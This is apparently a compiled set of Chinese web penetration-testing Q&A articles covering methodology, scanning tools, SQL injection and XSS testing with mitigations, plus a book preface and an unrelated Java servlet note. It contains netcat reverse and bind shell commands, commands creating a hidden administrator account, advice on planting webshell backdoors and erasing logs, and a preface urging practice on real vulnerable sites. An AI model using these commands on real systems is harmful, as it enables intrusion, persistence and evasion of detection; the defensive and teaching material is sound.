⑴ 网站渗透测试,怎么进行
1.信息收集:
1)、获取域名的whois信息,获取注册者邮箱姓名电话等。
2)、查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
3)、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞。
4)、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
5)、扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针。
6)、google hack 进一步探测网站的信息,后台,敏感文件。
2.漏洞扫描:
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等。
3.漏洞利用:
利用以上的方式拿到webshell,或者其他权限。
4.权限提升:
提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉, linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权。
5.日志清理:
结束渗透测试工作需要做的事情,抹除自己的痕迹。
需要规避的风险:
1. 不执行任何可能引起业务中断的攻击(包括资源耗竭型DoS,畸形报文攻击,数据破坏)。
2. 测试验证时间放在业务量最小的时间进行。
3. 测试执行前确保相关数据进行备份
4. 所有测试在执行前和维护人员进行沟通确认。
⑵ web渗透是什么
Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端口爆破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法:
反向连接
在公网主机上进行监听:
nc-lvp 4444
在内网主机上执行:
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p 4444 -t -e cmd.exe
本地主机上执行:
nc-vv 远程主机ip4444
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。
⑶ 如何进行Web渗透测试
什么是渗透测试?
渗透测试,是渗透测试工程师完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标网络、主机、应用的安全作深入的探测,发现系统最脆弱的环节。
如何进行Web渗透测试?
完整web渗透测试框架当需要测试的web应用数以千计,就有必要建立一套完整的安全测试框架,流程的最高目标是要保证交付给客户的安全测试服务质量。
1、立项:项目建立,时间安排,人力分配,目标制定,厂商接口人确定;
系统分析&威胁分析:针对具体的web应用,分析系统架构、使用的组件、对外提供的接口等,以STRIDE为威胁模型进行对应的安全威胁分析,输出安全威胁分析表,重点关注top3威胁;
制定测试用例:根据威胁分析的结果制定对应的测试用例,测试用例按照模板输出,具备可执行性;
测试执行&漏洞挖掘:测试用例执行&发散测试,挖掘对应的安全问题or漏洞;
问题修复&回归测试:指导客户应用开发方修复安全问题or漏洞,并进行回归测试,确保安全问题or漏洞得到修复,并且没有引入新的安全问题;
项目总结评审:项目过程总结,输出文档评审,相关文档归档。
2、Web应用的渗透测试流程
主要分为3个阶段,分别是:信息收集→漏洞发现→漏洞利用,下面仔细分析一下各个阶段流程:
一、信息收集
在信息收集阶段,我们需要尽量多的收集关于目标web应用的各种信息,比如:脚本语言的类型、服务器的类型、目录的结构、使用的开源软件、数据库类型、所有链接页面,用到的框架等
脚本语言的类型:常见的脚本语言的类型包括:php、asp、aspx、jsp等
测试方法:
1 爬取网站所有链接,查看后缀
2 直接访问一个不存在页面后面加不同的后缀测试
3 查看robots.txt,查看后缀
服务器的类型:常见的web服务器包括:apache、tomcat、IIS、ngnix等
测试方法:
1 查看header,判断服务器类型
2 根据报错信息判断
3 根据默认页面判断
目录的结构:了解更多的目录,可能发现更多的弱点,如:目录浏览、代码泄漏等。
测试方法
1 使用字典枚举目录
2 使用爬虫爬取整个网站,或者使用google等搜索引擎获取
3 查看robots.txt是否泄漏
使用的开源软件:我们如果知道了目标使用的开源软件,我们可以查找相关的软件的漏洞直接对网站进行测试。
测试方法
指纹识别(网络上有很多开源的指纹识别工具)
数据库类型:对于不同的数据库有不同的测试方法。
测试方法
1 使应用程序报错,查看报错信息
2 扫描服务器的数据库端口(没做NAT且防火墙不过滤时有效)
所有链接页面:这个跟前面的获取目录结构类似,但是这个不只是获取网站的所有功能页面,有时候还可以获取到管理员备份的源码。
测试方法
1 使用字典枚举页面
2 使用爬虫爬取整个网站,或者使用google等搜索引擎获取
3 查看robots.txt是否泄漏
用到的框架:很多网站都利用开源的框架来快速开发网站,所以收集网站的框架信息也是非常关键的。
测试方法
指纹识别(网络上有很多开源的指纹识别工具)
二、漏洞发现
在这个阶段我们在做测试的时候要对症下药,不能盲目的去扫描,首先要确定目标应用是否使用的是公开的开源软件,开源框架等、然后在做深一度的漏洞扫描。
关于开源软件的漏洞发现
开源的软件:常见的开源软件有wordpress、phpbb、dedecms等
开源的框架:常见的开源框架有Struts2、 Spring MVC、ThinkPHP等
中间件服务器:常见的中间件服务器有jboss、tomcat、Weblogic等
数据库服务:常见的数据库服务mssql、mysql、oracle、redis、sybase、MongoDB、DB2等
对于开源软件的测试方法
1 通过指纹识别软件判断开源软件的版本信息,针对不同的版本信息去开放的漏洞数据库查找相应版本的漏洞进行测试
2 对于默认的后台登录页、数据库服务端口认证等入口可以进行简单的暴力破解、默认口令尝试等操作
3 使用开源的漏洞发现工具对其进行漏洞扫描,如:WPScan
关于自主开发的应用
手动测试:这个阶段,我们需要手工测试所有与用户交互的功能,比如:留言、登入、下单、退出、退货、付款等操作
软件扫描:使用免费的软件扫描,如:appscan、wvs、netsparker,burp等
可能存在的漏洞
Owasp关键点
代码安全之上传文件
代码安全之文件包含
代码安全之SSRF
逻辑漏洞之密码重置
逻辑漏洞之支付漏洞
逻辑漏洞之越权访问
平台安全之中间件安全
三、漏洞利用
针对不同的弱点有不同的漏洞利用方式,需要的知识点也比较多。一般这个阶段包括两种方式,一种是手工测试,一种是工具测试
手工测试
手工测试是通过客户端或服务器访问目标服务,手工向目标程序发送特殊的数据,包括有效的和无效的输入,观察目标的状态、对各种输入的反应,根据结果来发现问题的漏洞检测技术。手工测试不需要额外的辅助工具,可由测试者独立完成,实现起来比较简单。但这种方法高度依赖于测试者,需要测试者对目标比较了解。手工测试可用于Web应用程序、浏览器及其他需要用户交互的程序。
这种方式对于有特殊过滤等操作,或者网络上没有成型的利用工具的时候可以使用。
工具测试
网络上有很多好用的免费利用工具,比如针对sql注入的sqlmap、针对软件漏洞的matesploit等。
⑷ Web渗透是怎么弄的
1.渗透目标
渗透网站(这里指定为www.xxx.com)
切记,在渗透之前要签订协议。
2.信息收集
建议手动检查和扫描器选择同时进行。
2.1 网站常规检测(手动)
1:浏览www.xxx.com
1. 初步确定网站的类型:例如银行,医院,政府等。
2. 查看网站功能模,比如是否有论坛,邮箱等。
3. 重点记录网站所有的输入点(与数据库交互的页面),比如用户登录,用户注册,留言板等。4. 重点查看网站是否用到了一些通用的模板,比如论坛选择了动网(dvbss),就有可能存在动网的漏洞;邮箱有可能选择通用的邮箱系统,也有漏洞。
2: 分析网站的url1. 利用搜索引擎,搜索网站的url,快速找到网站的动态页面。
2. 对网站的域名进行反查,查看IP,确定服务器上的域名数,如果主页面url检测没有漏洞,可以对其他的域名进行检测。
3:审查代码
重点对输入代码(比如表单)进行分析,看如何来提交输入,客户端做了哪些输入的限制方法。
1. 隐藏表单字段 hidden
2. Username,Password等
4:控件分析
Active x 通常都是用c/c++编写
在页面上(通常是首页)的源码中搜索
1. 需要ComRaider+OD 对dll文件进行反编译,看是否有漏洞。
2. 改变程序执行的路径,破坏Active X 实施的输入确认,看web的回应。
5:对常规的输入进行手动注入测试,测试是否有sql注入和跨站漏洞,试用常规的用户名和密码登录。
6:查看web服务器的版本,确定搜索是否有低版本服务器组件和框架的漏洞,比如通用的Java框架Struct2的漏洞。
2.2 工具选择和使用
1:web应用程序漏洞扫描工具
Appscan: (版本7.8)
扫描漏洞比较全,中文,漏洞利用率高,检测速度慢,需要大量内存,重点推荐。
AWVS:
英文,漏洞库完善,检测速度慢。
JSky
中文,检测速度快,但深度一般。
Nessus
英文,检测速度较快,漏洞也比较完善,免费,可及时更新,B/S界面。
2:端口扫描
Nmap
流光
3: 口令破解工具
溯雪
4:sql 注入工具
Asp+SqlServe, ACCESS:啊D注入工具
Php+MySQL : php+mysql注入工具(暗组的hacker栏中)
Jsp+ORACAL: CnsaferSI
支持以上数据库 Pangolin
5: http代理请求
Paros
6:木马
灰鸽子
7:提权木马
一句话木马大马(具体所用的木马参考文档和工具包(绿盟,暗组))
5: 工具推荐使用方案
Appscan扫描出的重大漏洞,进行手工检测(注意看漏洞是如何发现的,修改漏洞的代码,对渗透帮助很大)。
sql注入漏洞
可以选用根据网站类型选择sql注入工具
如果是post请求类型的url,选择使用paros代理后,修改http请求包,进行注入。
WebDEV漏洞
可以启用发送请求(比如DELETE对方网页)
跨站漏洞
直接将appscan的代码输入测试,成功后,可以尝试跨其他脚本(比如
遍历漏洞:
网页的目录,下载网站配置文件信息,和源文件进行反编译
反编译:
Class 可以选用java 反编译工具
Dll (asp.net) 选用Reflector
3.分析并渗透
---------------------
作者:centos2015
来源:CSDN
原文:https://blog.csdn.net/zonghua521/article/details/78272634
版权声明:本文为博主原创文章,转载请附上博文链接!
⑸ 如何进行Web渗透测试
1.SQL Injection(SQL注入)
(1)如何进行SQL注入测试?
首先找到带有参数传递的URL页面,如 搜索页面,登录页面,提交评论页面等等.
注1:对 于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM> 和</FORM>的标签中间的每一个参数传递都有可能被利用.
<form id="form_search" action="/search/" method="get">
<div>
<input type="text" name="q" id="search_q" value="" />
<input name="search" type="image" src="/media/images/site/search_btn.gif" />
<a href="/search/" class="fl">Gamefinder</a>
</div>
</form>
注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如http://DOMAIN/INDEX.ASP?ID=10
其 次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入http://DOMAIN /INDEX.ASP?USERNAME='HI' OR 1=1
注1:根据实际情况,SQL注入请求可以使用以下语句:
' or 1=1- -
" or 1=1- -
or 1=1- -
' or 'a'='a
" or "a"="a
') or ('a'='a
注2:为什么是OR, 以及',――是特殊的字符呢?
例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password'
如 输入http://ck/index.asp?username=admin' or 1='1&pwd=11,SQL语句会变成以下:sql=select * from user where username='admin' or 1='1' and password='11'
' 与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行.
接 下来是OR查询条件,OR是一个逻辑运 算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是 说我们绕过了密码验证,我们只用用户名就可以登录.
如 输入http://ck/index.asp?username=admin'--&pwd=11,SQL语 句会变成以下sql=select * from user where name='admin' --' and pasword='11',
'与admin前面的'组成了一个查 询条件,即username='admin',接下来的语句将按下一个查询条件来执行
接下来是"--"查询条件,“--”是忽略或注释,上 述通过连接符注释掉后面的密码验证(注:对ACCESS数据库无 效).
最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如果 能说明存在SQL安 全漏洞.
试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操 作,这样造成的后果是非常严重的.
(2)如何预防SQL注入?
从应用程序的角度来讲,我们要做以下三项工作:
转义敏感字符及字符串(SQL的敏感字符包括“exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”,和”空格”).
屏蔽出错信息:阻止攻击者知道攻击的结果
在服务端正式处理之前提交数据的合法性(合法性检查主要包括三 项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客 户端的输入合法之前,服务端拒绝进行关键性的处理操作.
从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:
需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.
当然在执行测试的过程中,我们也需求对上述两项内容进行测试.
2.Cross-site scritping(XSS):(跨站点脚本攻击)
(1)如何进行XSS测试?
<!--[if !supportLists]-->首先,找到带有参数传递的URL,如 登录页面,搜索页面,提交评论,发表留言 页面等等。
<!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:
<scrīpt>alert(document.cookie)</scrīpt>
最后,当用户浏览 时便会弹出一个警告框,内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚本,当用户浏览此帖时,cookie信息就可能成功的被 攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。
(2)如何预防XSS漏洞?
从应用程序的角度来讲,要进行以下几项预防:
对Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等 语句或脚本进行转义.
在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关键性的处理操作.
从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:
在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进行验证,着重验证是否对HTML或脚本代码进行了转义。
执行测试过程中也应对上述项进行检查。
3.CSRF:(跨站点伪造请求)
CSRF尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。
XSS是利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
XSS也好,CSRF也好,它的目的在于窃取用户的信息,如SESSION 和 COOKIES,
(1)如何进行CSRF测试?
目前主要通过安全性测试工具来进行检查。
(2)如何预防CSRF漏洞?
请参见http://www.hanguofeng.cn/archives/security/preventing-csrf
4.Email Header Injection(邮件标头注入)
Email Header Injection:如果表单用于发送email,表单中可能包括“subject”输入项(邮件标题),我们要验证subject中应能escape掉“\n”标识。
<!--[if !supportLists]--><!--[endif]-->因为“\n”是新行,如果在subject中输入“hello\ncc:[email protected]”,可能会形成以下
Subject: hello
cc: [email protected]
<!--[if !supportLists]--><!--[endif]-->如果允许用户使用这样的subject,那他可能会给利用这个缺陷通过我们的平台给其它用 户发送垃圾邮件。
5.Directory Traversal(目录遍历)
(1)如何进行目录遍历测试?
目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
测试方法:在URL中输入一定数量的“../”和“./”,验证系统是否ESCAPE掉了这些目录跳转符。
(2)如何预防目录遍历?
限制Web应用在服务器上的运行
进 行严格的输入验证,控制用户输入非法路径
6.exposed error messages(错误信息)
(1)如何进行测试?
首 先找到一些错误页面,比如404,或500页面。
验证在调试未开通过的情况下,是否给出了友好的错误提示信息比如“你访问的页面不存 在”等,而并非曝露一些程序代码。
(2)如何预防?
测试人员在进行需求检查时,应该对出错信息 进行详细查,比如是否给出了出错信息,是否给出了正确的出错信息。
⑹ 关于如何在java的web应用获取服务器资源
我曾经试图在applet中通过读取服务器上的一个xml文件来创建一棵树型结构。在寻找了很多资料后,发觉这种做法好像行不通。Applet是运行在客户端的脚本,个人认为很难或者是无法获取服务器端的资源。
通过这次的学习,我掌握了几种获取服务器资源的方法。归纳如下:
1.在servlet中通过getServletContext().getRealPath(“”)可以获得服务器某个资源的真实路径,然后可以通过创建URL,或者创建IO流来获取资源。
2.在servlet中通过getServletContext().getResourceAsStream(“”)来获得资源流。
3.在jsp中通过pageContext来获得ServletContext对象pageContext.getServletContext(),然后用1,2种方法都可以获得服务器资源。
4.在一般的javaBean中,通过this.getClass().getResourceAsStream(“”)可以获得和javaBean的class文件一个目录下的资源。
⑺ Web渗透技术及实战案例解析的内容简介
本书从Web渗透的专业角度,结合网络安全中的实际案例,图文并茂地再现Web渗透的精彩过程。本书共分7章,由浅入深地介绍和分析了目前网络流行的Web渗透攻击方法和手段,并结合作者多年的网络安全实践经验给出了相对应的安全防范措施,对一些经典案例还给出了经验总结和技巧,通过阅读本书可以快速掌握目前Web渗透的主流技术。本书最大的特色就是实用和实战性强,思维灵活。内容主要包括Web渗透必备技术、Google黑客技术、文件上传渗透技术、SQL注入、高级渗透技术、0day攻击和Windows提权与安全防范等。
前言
经过近一年时间的艰辛苦战,终于将本书完成。本书是我写的第三本书,主要从Web渗透的专业角度来讨论网络安全的攻防技术,尽可能地再现Web渗透场景,每一个小节都代表某一个场景,此书是我工作数年的总结,最后终于不辱使命将所有成果放在本书中与大家分享。
本书是在我上一本书《黑客攻防及实战案例解析》基础上的又一本安全类书籍,主要讨论Web渗透攻防技术。攻击与防护是辩证统一的关系,掌握了攻击技术,也就掌握了防护技术。Web渗透是网络安全攻防的最热门技术,通过渗透Web服务器,利用已有信息,逐渐深入公司或者大型网络,最终完成渗透目标。
最近二年来网络安全特别火爆,可以说从事网络安全还是蛮有前途的职业之一。目前网络安全界非常缺人,特别是在2011年CSDN、天涯等大型网站用户数据库泄露后,各大公司对安全人士求贤若渴,掌握网络安全攻防技术,拥有丰富经验的从业人员,年薪一般在10万以上,能够独立挖掘漏洞的从业人员年薪一般在20万以上。其实Web安全渗透技术也不是那么高不可攀,只要自己锁定这个方向,持之以恒,不断地进行试验和研究,终将成为一名高手,而且安全攻防技术还跟学历无关,很多技术高手都没有上过大学。
Web渗透攻防技术可以通过以下方法来自学,一是通过安全站点漏洞更新通告、安全文章,了解漏洞的形成原理和利用过程,掌握漏洞的核心原理;二是在本地搭建试验环境进行实际测试,掌握漏洞利用方法;三是在互联网上对存在漏洞的站点进行实际操作,在真实环境下进行验证,提出修补漏洞的方法。在技术研究的同时还要做好记录,总结失败和成功的方法,积累技巧和经验,我曾经看过一位牛人,Web漏洞收集超过10GB数据!
本书以Web渗透攻击与防御为主线,主要通过典型的渗透实际案例来介绍Web渗透和防御技术,在每一个小节中除了技术原理外,还对这些技术进行总结和提炼,掌握和理解这些技术后,读者在遇到类似的渗透场景时可以自己去进行渗透。本书采用最为通俗易懂的图文解说,按照书中的步骤即可还原当时的攻防情景。通过阅读本书,初学者可以很快掌握Web攻防的流程、最新的一些技术和方法,有经验的读者可以在技术上更上一层楼,使攻防技术从理论和实践中更加系统化,同时可以使用本书中介绍的一些防御方法来加固服务器系统。
本书共分为7章,由浅入深,依照Web攻防的一些技术特点安排内容,每一小节都是一个具体Web攻防技术的典型应用,同时结合案例给予讲解,并给出一些经典的总结。本书主要内容安排如下。
第1章 Web渗透必备技术
介绍Web渗透的一些必备的基本知识,创建和使用VPN隐藏自己,获取操作系统密码、破解MD5密码、破解MySQL密码、数据库还原等,这些技术可以在Web渗透中使用,也可以在网络管理中使用。
第2章 Google——我爱你又恨你
利用Google等搜索引擎技术来获取信息,辅助Web渗透,在某些场景中往往会起到意想不到的效果,也被称为Nday攻击(0day后的数天持续攻击)。在进行Web攻防技术研究的同时,可以通过Google来进行实际演练,最好的效果就是网上爆出漏洞后利用Goolge技术来抓肉鸡。
第3章 都是上传惹的祸
上传是Web渗透中最容易获得WebShell的捷径之一,在本章中介绍了如何利用WebEditor、FCKeditor、CuteEditor等典型编辑器漏洞来获取WebShell的方法,同时还对登录绕过后通过Flash上传、文件上传等方法来获取WebShell进行探讨。
第4章 SQL注入——渗透主乐章
SQL注入是Web渗透的核心技术,本章主要介绍使用SQL注入方法获取WebShell,穿插介绍使用多种扫描软件、攻击工具来渗透Web服务器并提权。
第5章 高级渗透技术
本章介绍如何充分利用多种技术组合,结合巧妙的思路,最终成功渗透一些高难度的Web服务器。
第6章 0day攻击
0day是Web渗透中的“神器”,几乎是无往不胜,所向披靡,本章介绍利用Discuz!6.0、Discuz!7.2、Discuz!NT、PHP168、WordPress、Citrix、Art2008cms、Phpcms2008sp4等0day渗透Web服务器的一些方法。
第7章 Windows提权与安全防范
获取WebShell后,获得服务器权限一直是Web渗透的终极目标,本章对主流的一些提权方法进行介绍,掌握这些方法和原理后,可以举一反三,触类旁通。最后还对如何设置一个安全“变态”的Web服务器进行介绍。
虽然本书内容已经很丰富与完整,但仍然无法涵盖所有的Web渗透的技术,但通过本书的学习,可以快速了解和掌握Web渗透技术,加固自己的服务器。本书的目的是通过Web渗透技术并结合一些案例来探讨网络安全,更好地加固Web服务器、远离黑客的威胁。
⑻ 常见36种WEB渗透测试漏洞描述及解决方法-文件包含漏洞
漏洞描述:程序代码在处理包含文件时没有严格控制。可以先把上传的静态文件,或网站日志文件作为代码执行,或包含远程服务器上的恶意文件,获取服务器权限。
解决方法:
(1)严格检查变量是否已经初始化,严格检查include类的文件包含函数中的参数是否外界可控;
(2)对所有输入可能包含的文件地址,包括服务器本地文件及远程文件严格检查,参数中不允许出现../之类的目录跳转符;
(3)在客户端和服务段同时做数据的验证与过滤。